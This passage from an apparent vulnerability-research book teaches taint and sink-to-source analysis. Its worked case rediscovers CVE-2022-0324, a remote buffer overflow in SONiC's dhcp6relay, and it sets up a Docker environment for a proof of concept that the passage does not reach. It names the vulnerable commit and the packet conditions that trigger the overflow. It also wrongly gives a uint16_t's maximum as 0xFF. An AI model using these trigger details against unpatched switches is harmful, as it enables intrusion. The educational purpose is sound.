You can use a debugger to step through the instructions of the program and analyze its memory during execution. This will help you better understand the cause and context of the buffer overflow. One standard debugger is the GNU Debugger (GDB), which you can install and run on the program.

```
$ gcc server.c -g -o server
$ sudo apt-get install -y gdb
$ gdb server
Reading symbols from server...
(gdb) run
```

Next, execute the exploit script and analyze the crash in GDB using the commands in Listing 2-2.

```
Program received signal SIGSEGV, Segmentation fault.
(gdb) backtrace
#0 __memcpy_avx_unaligned_erms () at
    ./sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:377
#1 0x0000555555555228 in handleClient (clientSocket=4) at server.c:20 ❶
#2 0x4141414141414141 in ?? () ❷
#3 0x4141414141414141 in ?? ()
#4 0x4141414141414141 in ?? ()
#5 0x4141414141414141 in ?? ()
#6 0x4141414141414141 in ?? ()
#7 0x4141414141414141 in ?? ()
#8 0x4141414141414141 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x4141414141414141 in ?? ()
#11 0x4141414141414141 in ?? ()
#12 0x4141414141414141 in ?? ()
#13 0x4141414141414141 in ?? ()
#14 0x4141414141414141 in ?? ()
#15 0x00007fffffffdde0 in ?? ()
```

```
#16 0x00005555555552c8 in handleClient (clientSocket=1094795585) at server.c:35
#17 0x0000000155554040 in ?? ()
#18 0x00007fffffffd8 in ?? ()
#19 0x00007fffffffd8 in ?? ()
#20 0xf9cf23eb760e0aea in ?? ()
#21 0x0000000000000000 in ?? ()
```

Listing 2-2: The GDB backtrace output

The crash occurs while performing `memcpy` at line 20 of the server code in the handler function ❶. It appears that the overflow causes the payload to overwrite the values of the return addresses on the stack ❷; instead of returning to the main function, the program attempts to return to instructions at the invalid address `0x4141414141414141`. This is a typical exploitable buffer overflow scenario.

Since this book focuses on the vulnerability discovery portion of vulnerability research, we won't dive into the intricacies of memory corruption exploit development. Nevertheless, keep in mind that demonstrating controllable memory corruption primitives, such as a stack overflow, tends to be sufficient to prompt a response from developers.

Applying Taint Analysis

Let's analyze the code of the simple vulnerable server in Listing 2-1 from a source and sink perspective.

First, the source should be the output of a function that retrieves and stores attacker-controlled input. The most likely suspect appears to be this snippet of code:

```
bytesRead = recv(clientSocket, buffer, MAX_BUFFER_SIZE, 0)
```

According to the manual page for `recv`, you use the function to receive messages from a socket. This fits the description of a potential attacker-controlled input.

Next, identify the sink, a dangerous function that could cause negative outcomes like memory corruption if an attacker controls its inputs. Refer to the GDB output from Listing 2-2 to identify the `memcpy` call at line 20 of the code as the culprit.

Now that you've identified the source and sink, you must trace the flow of tainted variables from the former to the latter. Once the source has tainted a variable, any other variables it affects later in the code are also tainted. This can lead to *path explosion*, which is the exponential growth of the number of control-flow paths in the code as the size and complexity of a program increases. This makes it impossible or at least extremely time-consuming to apply taint analysis to all possible paths in a complex target.

Since Listing 2-1 has about 70 lines of code, you don't have to worry too much about path explosion. However, even this toy example contains subtle complexities. Take another look at the identified source:

```
bytesRead = recv(clientSocket, buffer, MAX_BUFFER_SIZE, 0)
```

Which variables do the source taint? While `bytesRead` is an obvious answer because the code assigns the return value of `recv` to it, this value is only the number of bytes received, or `-1` in the case of an error. Meanwhile, `recv` stores the received bytes into the buffer provided by its second argument. This means that instead of relying on a simple rule like “all tainted variables are the return values of sinks,” you now have to understand which functions also modify the values in their arguments. You could automate this for standard library functions, but once you throw in user-defined functions, macros, and third-party libraries, you begin to face serious difficulties. Several automated code analysis tools provide ways to handle these “taint propagators,” but require additional effort to analyze and record them.

Sanitizers and validators further complicate taint analysis. For example, you might add a check before `memcpy` in *server.c* to validate that the size of the incoming data plus the current offset into the buffer does not exceed the maximum buffer size.

```
// Receive data
while ((bytesRead = recv(clientSocket, buffer, MAX_BUFFER_SIZE, 0)) > 0) {
    // Additional data will overflow
    ❶ if (offset + bytesRead >= MAX_BUFFER_SIZE) break;

    memcpy(finalBuffer + offset, buffer, bytesRead);
    offset += bytesRead;
}
```

If the total exceeds the maximum, the code will break out of the loop and stop processing incoming data ❶. However, this is only one way to fix the vulnerability.

Or, you might implement the following check, which ensures that the data is copied into the final buffer only if there is sufficient space remaining:

```
// Receive data
while ((bytesRead = recv(clientSocket, buffer, MAX_BUFFER_SIZE, 0)) > 0) {
    if (offset + bytesRead < MAX_BUFFER_SIZE) {
        memcpy(finalBuffer + offset, buffer, bytesRead);
        offset += bytesRead;
    }
}
```

The many ways in which vulnerable code can occur or be mitigated makes it difficult to write a single rule that captures every possible scenario, which is why manual code review continues to be relevant. While automated code analysis augments manual code review, you must carefully curate and customize it for each context.

Now that we’ve covered the basics of taint analysis—sources, sinks, propagators, and sanitizers—we’ll maximize efficiency with the sink-to-source analysis strategy.

Sink-to-Source Analysis

While the source-to-sink approach favors completeness, *sink-to-source analysis* favors selection. As you saw, taking the most obvious route in taint analysis—starting from input sources and working your way through the code—leads to exponentially branching paths of tainted variables that are impossible to follow.

Sink-to-source analysis is similar to solving a hedge maze from a bird’s-eye view: there are multiple points of entry to the maze with numerous deadends. Regardless of the route, you need only one path through the maze to the center; in sink-to-source analysis, this is an exploitable vulnerability. While you can start from each entry point using trial and error, it’s much easier to begin at the center and work backward.

You’ll practice sink-to-source analysis on `dhcp6relay`, a DHCPv6 relay server in Software for Open Networking in the Cloud (SONiC). SONiC is an open source Linux operating system that runs on various network switches. The goal is to rediscover CVE-2022-0324 (a buffer overflow I previously found in `dhcp6relay`). Check out the vulnerable version of the code with git:

```
$ git clone https://github.com/sonic-net/sonic-buildimage
$ cd sonic-buildimage
$ git checkout bcf5388
```

Take a moment to orient yourself in the codebase. Like many repositories, there’s a mix of source code, third-party dependencies, and build-related scripts and configurations.

Choosing the Right Sinks

The first step is to select the sink patterns that you want to work backward from. You can refer to banned function lists maintained by other developers to discover common dangerous sinks and how to exploit them. For example, Microsoft actively updates banned functions that it integrates in its code analysis tools (<https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/28719-banned-api-usage-use-updated-function-replacement>). Some projects include a *banned.h* header file, such as the git project, which bans the `strcpy`, `strcat`, `strncpy`, `strncat`, `sprintf`, and `vsprintf` functions. As the header file explains, these banned functions are easy to misuse and are often flagged in code audits.

Identifying Wrapper Functions

On top of the standard library functions like `memcpy`, analyze the source code carefully to identify wrapper functions that help simplify your analysis. Many developers tend to append `_copy` or `_memcpy` to the names of these wrapper functions. For example, `sonic-buildimage/platform/nephos/nephos-modules/modules/src/netif_osal.c` contains the following function definition:

```
osal_memcpy(
```

```

void                *ptr_dst,
const void          *ptr_src,
const UI32_T        num)
{
    return memcpy(ptr_dst, ptr_src, num);
}

```

You should avoid wrapper functions that sanitize or validate inputs. For example, the C11 standard (formally ISO/IEC 9899:2011), an updated standard for the C language, added bounds checking interfaces (such as `memcpy_s`) that check for potential buffer overflows and other issues before copying the bytes. Developers may add their own safe wrappers that eliminate a large portion of sinks.

Sometimes, these wrapper functions include more complex logic. Departing from SONiC for one moment, take a look at the `strided_copy` function in `libheif/heif_emscripten.h` of the `libheif` library (https://github.com/strukturag/libheif/blob/03db9fb196/libheif/heif_emscripten.h):

```

static void strided_copy(void* dest, const void* src, int width, int height,
                        int stride)
{
    if (width == stride) {
        ❶ memcpy(dest, src, width * height);
    }
    else {
        const uint8_t* _src = static_cast<const uint8_t*>(src);
        uint8_t* _dest = static_cast<uint8_t*>(dest);
        for (int y = 0; y < height; y++, _dest += width, _src += stride) {
            ❷ memcpy(_dest, _src, width);
        }
    }
}

```

Depending on whether `width == stride`, the wrapper function either calls `memcpy` once ❶ or in a loop ❷ with different arguments. As such, it's important to keep in mind how different conditions affect downstream variables when working with wrapper functions.

Deciding which wrapper functions to include in your analysis depends on how many times these wrapper functions are used. Once these functions include too much custom logic that apply only to rare cases, they cease to be useful. For example, going back to the SONiC codebase, `radius_copy_pw` in `src/radius/nss/libnss-radius/nss_radius_common.c` appears to be a wrapper function but is used only once in `src/radius/nss/libnss-radius/nss_radius.c`.

In the case of SONiC, there's no benefit to focusing on `radius_copy_pw`. As a general rule, consider wrapper functions as sinks when they're reused extensively relative to the total size of the codebase.

Filtering for Exploitable Scenarios

After selecting your sinks, begin tracing the flow of tainted variables backward from the sinks. Similar to how the `recv` source function taints multiple variables, you can exploit sink functions in multiple ways. For example, the humble `memcpy(dest, src, n)` can cause:

Null dereference When the code tries to access data at an invalid null address, leading to crashes. For `memcpy`, this occurs when `dest` or `src` are null pointers.

Buffer overflow When the code writes beyond the size of `dest`. This can occur when `n` is larger than the size of `dest`.

Information leak When the code reads data from addresses that is not intended to be exposed. This occurs when `n` is larger than `src`.

Memory corruption When the code makes unintended changes to memory, which can occur if `dest` and `src` overlap.

Additionally, the tainted arguments may not be simple pointer values but offsets into a memory address. Take a look at this instance of a `memcpy` call by the `head_to_txbuff_alloc` function in `platform/centec-arm64/tsingma-bsp/src/ctcmac/ctcmac.c`:

```
static void head_to_txbuff_alloc(struct device *dev, struct sk_buff *skb,
                               struct ctc_mac_tx_buff *tx_buff)
{
    u64 offset;
    int alloc_size;

    alloc_size = ALIGN(skb->len, BUF_ALIGNMENT); ❶
    tx_buff->alloc = 1;
    tx_buff->len = skb->len;
    tx_buff->vaddr = kmalloc(alloc_size, GFP_KERNEL); ❷
    offset = (BUF_ALIGNMENT - (((u64) tx_buff->vaddr) & (BUF_ALIGNMENT - 1))); ❸
    if (offset == BUF_ALIGNMENT) { ❹
        offset = 0;
    }
    tx_buff->offset = offset;
    memcpy(tx_buff->vaddr + offset, skb->data, skb_headlen(skb)); ❺
    tx_buff->dma = dma_map_single(dev, tx_buff->vaddr, tx_buff->len, DMA_TO_DEVICE);
}
```

Starting from the first argument `tx_buff->vaddr + offset` ❺, which corresponds to the destination buffer for `memcpy`, work backward to where `tx_buff->vaddr` is first assigned the return value of `kmalloc(alloc_size, GFP_KERNEL)` ❷. This warrants greater attention because `kmalloc` allocates kernel memory, which could be devastating if corrupted.

The size of the buffer allocated to `tx_buff->vaddr` is `alloc_size`, set by the cryptic macro `ALIGN(skb->len, BUF_ALIGNMENT)` ❶. Before figuring out what this

macro does, examine the value assigned to offset ❸, which also appears in the first argument to `memcpy` later on.

Since the `(u64) tx_buff->vaddr & (BUF_ALIGNMENT - 1)` bitwise AND operation ensures that the result has a maximum value of `BUF_ALIGNMENT - 1`, offset must range from 1 to `BUF_ALIGNMENT`. The next if conditional block ❹ moves this range down to 0 to `BUF_ALIGNMENT-1`, since it will be reassigned the value 0 if it equals `BUF_ALIGNMENT`. In short, the destination address for `memcpy` ranges from `tx_buff->vaddr` to `tx_buff->vaddr + (BUF_ALIGNMENT-1)`.

Additionally, because the buffer at `tx_buff->vaddr` is of size `ALIGN(skb->len, BUF_ALIGNMENT)`, or at least `BUF_ALIGNMENT` bytes, it isn't possible for `tx_buff->vaddr + offset` to exceed the allocated buffer. Thus, you can safely ignore the first argument to the `memcpy` call in your taint analysis, because it will never be dangerous by itself. Instead, focus on the third argument, which determines the number of bytes copied into the buffer and could still cause an overflow.

This process demonstrates a big advantage in sink-to-source analysis. By checking if a sink is exploitable from the beginning, you can decide which paths are irrelevant instead of chasing down every rabbit hole. Furthermore, eliminating one potential attack vector at the sink allows you to eliminate similar patterns elsewhere. For example, because the same `memcpy(tx_buff->vaddr + offset, . . . pattern appears in frag_to_txbuff_alloc and skb_to_txbuff_alloc`, you can skim those instances instead of repeating the analysis. Remember that sink-to-source tracing prioritizes selection while source-to-sink tracing prioritizes completeness.

Fortunately, not all instances of filtering sinks require as much depth. Consider the following instances of `memcpy` in `platform/barefoot/bfn-modules/modules/bf_tun.c`:

1. `memcpy(cmd, &tun->link_ksettings, sizeof(*cmd));`
2. `memcpy(filter->addr[n], addr[n].u, ETH_ALEN);`

The first instance uses `sizeof` to ensure the number of bytes copied into the `cmd` buffer matches its size. The second instance uses a fixed constant value for the number of bytes and is thus not attacker-controllable. While both may contain other weaknesses like overlapping buffers or `n > sizeof(src)`, they appear less exploitable and you can focus your attention on higher-risk patterns.

Observe how many false positives you can filter out by locating all instances of `memcpy` in the code, before removing instances of non-vulnerable uses of `memcpy`. You can do so by first grepping the code for `memcpy` calls:

```
$ cd sonic-buildimage/src
$ grep -r "memcpy" --include=*.c,*.cpp . | wc -l
237
```

The command simply searches all files with the `.c` or `.cpp` file extensions for the `memcpy` string, returning 237 results.

Next, you can tweak the regex to match instances of `memcpy` that don't use a constant for the third argument, based on the assumption that constant values are either numeric or have variable names in all capital letters:

```
$ grep -r "memcpy(.*,.*, [a-z]" --include=*.c,*.cpp . | wc -l
97
```

The regex now uses `[a-z]` to ensure that the third argument starts with a lowercase letter, returning 97 results. This cuts down the number of results you have to manually analyze by more than half!

Next, filter out instances where the third argument is `sizeof(dest)`:

```
$ grep -r "memcpy(.*,.*, [a-z]" --include=*.c,*.cpp . \
> | grep -v "memcpy(.*,.*, \s*sizeof(" | wc -l
54
```

This time, instead of over-complicating the regex, you can simply pipe the results of the first `grep` command to a second `grep` command, which uses the `-v` option to filter out results that match the regex pattern ❶. The pattern finds `memcpy` calls whose third argument starts with `sizeof(`, disregarding any leading spaces.

You're now down to less than a quarter of the original number of `memcpy` calls. The regex filters aren't perfectly accurate, nor are they meant to be. As we'll explore in Chapter 4, automated code analysis tools offer far more powerful options to filter code patterns. For manual code review, focus your time and energy on quickly filtering out non-exploitable scenarios to speed up sink-to-source tracing.

Confirming Exploitability

After filtering the sinks, work through the remaining ones, taking note of additional non-exploitable patterns like `strlen` in the third argument. This won't remove every false positive and might introduce false negatives, but helps cut down the amount of manual analysis needed. One of the remaining instances should be a `memcpy` call by `relay_relay_reply` in `src/dhcp6relay/src/relay.cpp`:

```
void relay_relay_reply(int sock, const uint8_t *msg, int32_t len, relay_config *config) {
    static uint8_t buffer[4096]; ❶
    uint8_t type = 0;
    struct sockaddr_in6 target_addr;
    auto current_buffer_position = buffer; ❷
    auto current_position = msg;
    const uint8_t *tmp = NULL;
    auto dhcp_relay_header = parse_dhcpv6_relay(msg);
    current_position += sizeof(struct dhcpv6_relay_msg);

    auto position = current_position + sizeof(struct dhcpv6_option);
    auto dhcpv6msg = parse_dhcpv6_hdr(position);
```

```

while ((current_position - msg) != len) {
    auto option = parse_dhcpv6_opt(current_position, &tmp); ❸
    current_position = tmp;
    switch (ntohs(option->option_code)) {
        case OPTION_RELAY_MSG:
            memcpy(current_buffer_position, ((uint8_t *)option) + ❹
                sizeof(struct dhcpv6_option), ntohs(option->option_length)); ❺
            current_buffer_position += ntohs(option->option_length);
            type = dhcpv6msg->msg_type;;
            break;
        default:
            break;
    }
}

memcpy(&target_addr.sin6_addr, &dhcp_relay_header->peer_address, ❻
    sizeof(struct in6_addr));
target_addr.sin6_family = AF_INET6;
target_addr.sin6_flowinfo = 0;
target_addr.sin6_port = htons(CLIENT_PORT);
target_addr.sin6_scope_id = if_nametoindex(config->interface.c_str());

send_udp(sock, buffer, target_addr, current_buffer_position - buffer, config, type);
}

```

As its name suggests, the function relays and unwraps a relay-reply message. This is a good sign because it handles a DHCPv6 message that may be sent from an external client, thus potentially attacker-controlled.

There are two calls to `memcpy` in this function. As discussed in “Filtering for Exploitable Scenarios,” you exclude the second `memcpy` ❻ because the third argument is `sizeof()`. This means that the number of bytes copied likely matches the size of the destination buffer. In this case, this is true because `&target_addr.sin6_addr` is an instance of an `in6_addr` struct and the third argument is `sizeof(struct in6_addr)`.

Turn your attention to the other `memcpy` ❹. For a buffer overflow to occur, the number of bytes copied must exceed the size of the destination buffer. Hence, you must first determine the size of the buffer at `current_buffer_position`. Ideally, this is a fixed size, not resized by the code to match the number of copied bytes—an example of a sanitization pattern. Earlier in the code, the `current_buffer_position` variable is assigned `auto current_buffer_position = buffer;` ❷ and the original buffer is initialized as `static uint8_t buffer[4096];` ❶. Good; you now know that the destination buffer makes up a fixed size of 4,096 bytes.

Next, analyze the number of bytes copied—the third argument to `memcpy`, `ntohs(option->option_length)` ❺. The `ntohs` function is a simple number conversion that flips the order of bytes. You can look this up on many Unix-based machines with the command `man ntohs`. This isn’t a disqualifying sanitization pattern for now. Continue tracing back from `option->option_length`.

You can see that option is set by the `parse_dhcpv6_opt` function ❸. This function is defined earlier in the file:

```
const struct dhcpv6_option *parse_dhcpv6_opt(const uint8_t *buffer, const uint8_t **out_end) {
    uint32_t size = 4; // option-code + option-len
    size += ntohs(*(uint16_t *)(buffer + 2));
    (*out_end) = buffer + size;

    return (const struct dhcpv6_option *)buffer; ❶
}
```

It parses the bytes in `buffer` into the `dhcpv6_option` struct ❶, which a quick search leads to `src/dhcp6relay/src/relay.h`:

```
struct dhcpv6_option {
    uint16_t option_code;
    ❶ uint16_t option_length;
};
```

The `option_length` parameter is a `uint16_t` variable—an unsigned short ❶. It's 2 bytes (16 bits) with a maximum value of 0xFF, or 65,535, far larger than the fixed destination buffer size of 4,096. Even if you flip the bytes around with `ntohs`, it ends up as the same 0xFF value.

Identifying Attacker-Controlled Source

After finding an exploitable sink pattern, work backward in the code to confirm if it is reachable from an attacker-controlled source.

You've confirmed three important points in the taint flow:

1. A sink exists at the first `memcpy` call in the `relay_relay_reply` function.
2. This sink is exploitable if `option->option_length` is larger than 4,096.
3. The `option->option_length` parameter has a maximum value of 65,535.

Now you must determine whether `option->option_length` is attacker-controlled in any way. In short, you'll retrace the code back to a taint source, making sure there are no exploit-killing sanitization or validation steps along the way. Like solving a maze, you can save time by focusing on paths that end at the exploitable sink. For starters, examine the switch case that contains the vulnerable `memcpy`:

```
switch (ntohs(option->option_code)) {
    case OPTION_RELAY_MSG:
        memcpy(current_buffer_position, ((uint8_t *)option) +
            sizeof(struct dhcpv6_option), ntohs(option->option_length));
        current_buffer_position += ntohs(option->option_length);
        type = dhcpv6msg->msg_type;;
        break;
    default:
```



```

        break;
    }

```

The program can reach the `memcpy` if `ntohs(option->option_code)` corresponds to `OPTION_RELAY_MSG` and no other value. The `src/dhcp6relay/src/relay.h` file reveals that `OPTION_RELAY_MESSAGE` corresponds to 9. For now, note down this requirement.

Recall that `option` is an instance of the `dhcpv6_option` struct parsed from the bytes at the `current_position` pointer while `(current_position - msg) != len`. The function annotations for `relay_relay_reply` state that `msg` argument is a pointer to the DHCPv6 message header position and the `len` argument is the size of data received. Moreover, `current_position` is initialized as `msg` and incremented by the size of a `dhcpv6_relay_msg` struct `current_position += sizeof(struct dhcpv6_relay_msg)`.

Taking all these facts into account, without even understanding the full details of the DHCPv6 protocol or its constituent data structures, you can deduce that `current_position` during `parse_dhcpv6_opt` is located in the `msg` bytes at this offset:

msg	current_position	len

dhcpv6_relay_msg	dhcpv6_option	...

As long as `current_position` hasn't reached the end of `msg` (presumably the DHCPv6 message data), the program can reach the `memcpy` sink. While you don't need to concern yourself with what structs come after `dhcpv6_option` in `msg` (the `...` part), for curiosity's sake, take a look at the following code:

```

auto position = current_position + sizeof(struct dhcpv6_option);
❶ auto dhcpv6msg = parse_dhcpv6_hdr(position);

```

The `parse_dhcpv6_hdr` function parses the remaining bytes into the `dhcpv6_msg` struct ❶. This tells you that the `dhcpv6_option` struct comes before the `dhcpv6_msg` struct in the message data:

msg	current_position	len

dhcpv6_relay_msg	dhcpv6_option	dhcpv6_msg ...

Fortunately, the focused sink-to-source approach doesn't require you to know this because neither `position` nor `dhcpv6msg` affect our sink. You can skip this additional analysis of `dhcpv6_msg` without detriment, which highlights the efficiency of this tactic.

After determining that the attacker must control `msg` (the second argument to `relay_relay_reply`) to reach the vulnerable `memcpy`, look for calls to `relay_relay_reply` to determine the source of the second argument. The sole instance of `relay_relay_reply` occurs in `server_callback`:

```

void server_callback(evutil_socket_t fd, short event, void *arg) {
    struct relay_config *config = (struct relay_config *)arg;
    sockaddr_in6 from;
    socklen_t len = sizeof(from);
    int32_t data = 0;
    static uint8_t message_buffer[4096];

    if ((data = recvfrom(config->local_sock, message_buffer, 4096, 0, (sockaddr *)&from, ❶
        &len)) == -1) {
        syslog(LOG_WARNING, "recv: Failed to receive data from server\n");
    }

    auto msg = parse_dhcpv6_hdr(message_buffer); ❷
    counters[msg->msg_type]++;
    std::string counterVlan = counter_table;
    update_counter(config->db, counterVlan.append(config->interface), msg->msg_type);
    if (msg->msg_type == DHCPV6_MESSAGE_TYPE_RELAY_REPL) { ❸
        relay_relay_reply(config->server_sock, message_buffer, data, config);
    }
}

```

The annotations for the function says that this function is called every time data is received by the server. It sounds like you're close. Before skipping to the end (or the beginning?), however, note any conditional checks ❸. The code assigns `msg` the return value of `parse_dhcpv6_hdr`, which uses `message_buffer` as its argument ❷. Finally, you reach the source: `recv_from` stores messages received from the socket into `message_buffer` ❶!

Confirming Reachable Attack Surface

While you've confirmed that the vulnerable sink is reachable from a source, you need to confirm whether the source itself is reachable by an attacker—is the socket that `recv_from` exposed to a remote attacker?

Work backward from `config->local_sock` until you arrive at `prepare_socket`:

```

void prepare_socket(int *local_sock, int *server_sock, relay_config *config, int index) {
    --snip--
    if ((*local_sock = socket(AF_INET6, SOCK_DGRAM, 0)) == -1) { ❶
        syslog(LOG_ERR, "socket: Failed to create socket\n");
    }
    --snip--
    in6->sin6_family = AF_INET6;
    in6->sin6_port = htons(RELAY_PORT); ❷
    addr = *in6;
    --snip--
    if (bind(*local_sock, (sockaddr *)&addr, sizeof(addr)) == -1) { ❸
        syslog(LOG_ERR, "bind: Failed to bind to socket\n");
    }
}

```

```
}  
--snip--  
}
```

In the heavily-truncated code, an IPv6 socket `local_sock` is opened ❶ and a `sockaddr_in6` address struct is assigned the port ❷. A quick check in `src/dhcp6relay/src/relay.h` tells you that `RELAY_PORT` is 547. Finally, the socket is bound to this address ❸. Putting these observations together, you can conclude that the vulnerable source-to-sink path exists for any IPv6, non-link-local network interface address on port 547. This fits the requirements of a reachable attack surface.

Testing the Exploit

To build the proof of concept, you need to first develop a test environment. You've found a viable path from an attacker-controlled source to a vulnerable sink, and come across a few conditions:

- When parsed into a `dhcpv6_msg` struct, the payload's `msg_type` member must equal `DHCPV6_MESSAGE_TYPE_RELAY_REPL`, defined as 13 in `src/dhcp6relay/src/relay.h`.
- The payload must include at least one `dhcpv6_option` struct after the `dhcpv6_relay_msg` struct.
- When parsed into a `dhcpv6_option` struct, the `option_code` member must equal `OPTION_RELAY_MSG` (9).

Fortunately, there doesn't appear to be any significant sanitizing steps or validation checks in the way, though confirming a vulnerability purely from code review won't suffice. You need to build a working proof of concept that produces a controllable crash.

This is where the ease of the development environment setup becomes all-important. Without a working build of the target to test your exploit against, you can't confirm the vulnerability. It's also helpful to be able to quickly debug your initial proof-of-concept exploits in case something breaks along the way. For memory corruption bugs, for example, you may need to assess the usefulness of your memory corruption primitive.

Fortunately, SONiC has a well-documented build process that can even produce Docker images with debug symbols and debuggers included. There is one downside, however: building an entire operating system image instead of a single target binary can be time- and resource-intensive. Ideally, you should build and test the target binary in isolation during the proof-of-concept stage. Fidelity to the intended execution environment becomes more important during exploit development. You want to quickly iterate on your proof of concept while ensuring you're exploiting the target binary itself, rather than the surrounding operating system or other related software.

The SONiC project maintains build pipelines on Azure at https://dev.azure.com/mssonic/build/_build?view=folders that include `dhcp6relay`, but unfortunately, the past runs don't include the vulnerable version. Another prob-

lem is that SONiC binaries like `dhcp6relay` are integrated with the underlying OS, such as pulling configuration data from a shared Redis database. You can't build the binary and expect it to run on any OS out of the box.

Thus, you must take the middle road—separate the `dhcp6relay` binary from the rest of SONiC, but customize the base OS to satisfy the expected configurations. I prefer to build Docker images to containerize proof of concepts because it provides a consistent environment to experiment in and makes it portable for others to verify the exploit. For the base OS, I used Ubuntu 20.04 as recommended by the SONiC documentation.

If the build dependencies aren't well-documented, you can figure them out by trial and error. For example, `src/dhcp6relay` contains a Makefile that uses the `g++` compiler to build the binary. First, try to run `make`, which gives the following error:

```
#12 0.287 src/relay.cpp:3:10: fatal error: event.h: No such file or directory
    3 | #include <event.h>
      |           ^~~~~~
compilation terminated.
```

The build failed because `event.h` is missing, meaning you need to install a shared library that `dhcp6relay` depends on. Look up `event.h` to find that it's part of the `libevent` library, which you can install with `apt install libevent-dev`. You can install many Linux libraries following the naming convention `libX-dev` in the same way. While this approach resolved almost all dependency issues, one dependency couldn't be installed from the default Ubuntu package sources:

```
#11 0.328 src/relay.cpp:10:10: fatal error: configdb.h: No such file or
    directory
    10 | #include "configdb.h"
      |           ^~~~~~
compilation terminated.
```

Searching for `configdb.h` shows that it belongs to the `sonic-swss-common` library, which is referred to in the `-I` argument in the Makefile. This tells `g++` to include it in the library search path. Since you can't install the `sonic-swss-common` library with `apt` from default Ubuntu sources, you need to build and install `sonic-swss-common` yourself. Fortunately, the repository provides the required documentation.

Once you resolve the dependency issues, `dhcp6relay` builds without errors, but you can't run it:

```
terminate called after throwing an instance of 'std::system_error'
  what():  Unable to connect to redis (unix-socket): Cannot assign requested
  address
Aborted
```

It appears that `dhcp6relay` is attempting to connect to a Redis server. If you analyze `configInterface.cpp`, one of the source files for `dhcp6relay`, you'll

see that it checks the DHCP_RELAY table in the CONFIG_DB database for a dhcpv6_servers field name.

Further research into this configuration setting leads to documentation written by a SONiC developer (<https://support.edge-core.com/hc/en-us/articles/8615164994201-Edgecore-SONiC-DHCPv6-Relay>) that contains the expected structure of this configuration setting in the database.

After resolving this requirement by adding the expected configuration settings to the Redis database, dhcp6relay finally runs—but it doesn't bind to any interfaces, because none of them contain non-link-local IPv6 addresses as prepare_socket requires. You need to create these manually and add this to the Redis database as well. Rather than creating a brand new interface, piggyback off an existing one through a virtual local area network (LAN), then add the required fixed IPv6 addresses, as Listing 2-3 shows.

```
/etc/init.d/redis-server restart
ip link add link eth0 name vlan type vlan id 3
ip -6 addr add fe80::20c:29ff:fe90:14c5/64 dev vlan
ip -6 addr add 2a00:7b80:451:1::10/64 dev vlan
ip link set vlan up
redis-cli -n 4 HSET "DHCP_RELAY|vlan" dhcpv6_servers "fe80::20c:29ff:fe90:14c5/64"
```

Listing 2-3: The commands to add required IPv6 addresses

By definition, link-local IPv6 addresses fall in the range fe80::/10, and thus any valid address within this range works. The converse applies for a non-link-local IPv6 address. However, when running these commands in the Docker build process, you get another error:

```
[15/15] RUN ip link add link eth0 name vlan type vlan id 3:
#18 0.196 RTNETLINK answers: Operation not permitted
```

Once again, Google is your friend: for security reasons, Docker containers don't allow certain network operations by default. You must run these commands in a privileged container (enabled by command line flags --cap-add=NET_ADMIN --sysctl net.ipv6.conf.all.disable_ipv6=0). For now, leave the commands from Listing 2-3 out of the Dockerfile and instead put them in a script, *add_ipv6_addresses.sh*, to be run after starting the privileged container.

With all the dependency and configuration issues resolved, you can improve the setup further by adding debugging symbols to the compiled binary. The Makefile for dhcp6relay doesn't include the -g flag, which tells the compiler g++ to include these symbols. Resolve this by using the sed tool to modify the Makefile accordingly.

You should end up with a complete Dockerfile with all these build steps:

```
FROM ubuntu:20.04

# install dependencies
ENV DEBIAN_FRONTEND=noninteractive
RUN apt update
```

```
RUN apt install -y autoconf-archive build-essential dh-exec gdb git iproute2 libboost-dev \
    libboost-thread-dev libevent-dev libgmock-dev libgtest-dev libhiredis-dev libnl-3-dev \
    libnl-genl-3-dev libnl-nf-3-dev libnl-route-3-dev libpython2.7-dev libpython3-dev \
    libtool pkg-config python3 redis-server swig3.0
```

```
# checkout repo
RUN git clone https://github.com/sonic-net/sonic-buildimage
WORKDIR sonic-buildimage
RUN git checkout bcf5388
```

```
# build and install sonic-swss-common
RUN git submodule update --init src/sonic-swss-common
WORKDIR src/sonic-swss-common
RUN ./autogen.sh
RUN ./configure
RUN make
RUN make install
RUN ldconfig
```

```
# build dhcp6relay
WORKDIR ../dhcp6relay
RUN sed -i '8s/$/ -g/' Makefile
RUN sed -i '24s/.*/\t$(CC) $(CFLAGS) -o $(DHCP6RELAY_TARGET) $(OBJS) $(LIBS) $(LDFLAGS)/' \
    Makefile
RUN make
```

```
# configure redis
RUN sed -i '109s/# //' /etc/redis/redis.conf
RUN sed -i '109s/\var/run/redis/redis-server.sock/\var/run/redis/redis.sock/' \
    /etc/redis/redis.conf
RUN sed -i '110s/# //' /etc/redis/redis.conf
RUN sed -i '110s/700/755/' /etc/redis/redis.conf
```

```
# copy add ipv6 address script
COPY add_ipv6_addresses.sh add_ipv6_addresses.sh
RUN chmod +x add_ipv6_addresses.sh
```

Place this Dockerfile in a folder with the *add_ipv6_addresses.sh* script.
Now build and run it with:

```
$ docker build -t dhcp6relay .
$ docker run -it --cap-add=NET_ADMIN --sysctl net.ipv6.conf.all.disable_ipv6=0 dhcp6relay
```

Finally, run the script and start dhcp6relay:

```
root@8928b41ace8c:/sonic-buildimage/src/dhcp6relay# ./add_ipv6_addresses.sh
Stopping redis-server: redis-server.
Starting redis-server: redis-server.
(integer) 1
```

```
root@8928b41ace8c:/sonic-buildimage/src/dhcp6relay# ./dhcp6relay
```

Whew! That took a significant amount of effort. However, building proper testing environments is one of the most important investments you can make in vulnerability research. By ensuring a consistent, portable testing environment, you speed up your workflow in the proof-of-concept stage through rapid iteration and easy debugging.

Building the Proof of Concept

Now, you can build and test your proof-of-concept exploit in the container.

Recall the packet structure expected by `parse_dhcpv6_relay` and `parse_dhcpv6_opt`:

msg	current_position	len

dhcpv6_relay_msg	dhcpv6_option	...

You must send bytes that match the structs `dhcpv6_relay_msg` and `dhcpv6_option`, as `src/dhcp6relay/src/relay.h` defines:

```
struct PACKED dhcpv6_relay_msg {
    uint8_t msg_type;
    uint8_t hop_count;
    struct in6_addr link_address;
    struct in6_addr peer_address;
};
```

```
struct dhcpv6_option {
    uint16_t option_code;
    uint16_t option_length;
};
```

Note that the `dhcpv6_relay_msg` struct definition includes the `PACKED` attribute, which means that the compiler doesn't add padding between the struct's members to align with memory boundaries. For example, the compiler may add 3 or 7 bytes between `msg_type` and `hop_count` to align with 4- or 8-byte boundaries, depending on whether the target is a 32- or 64-bit system.

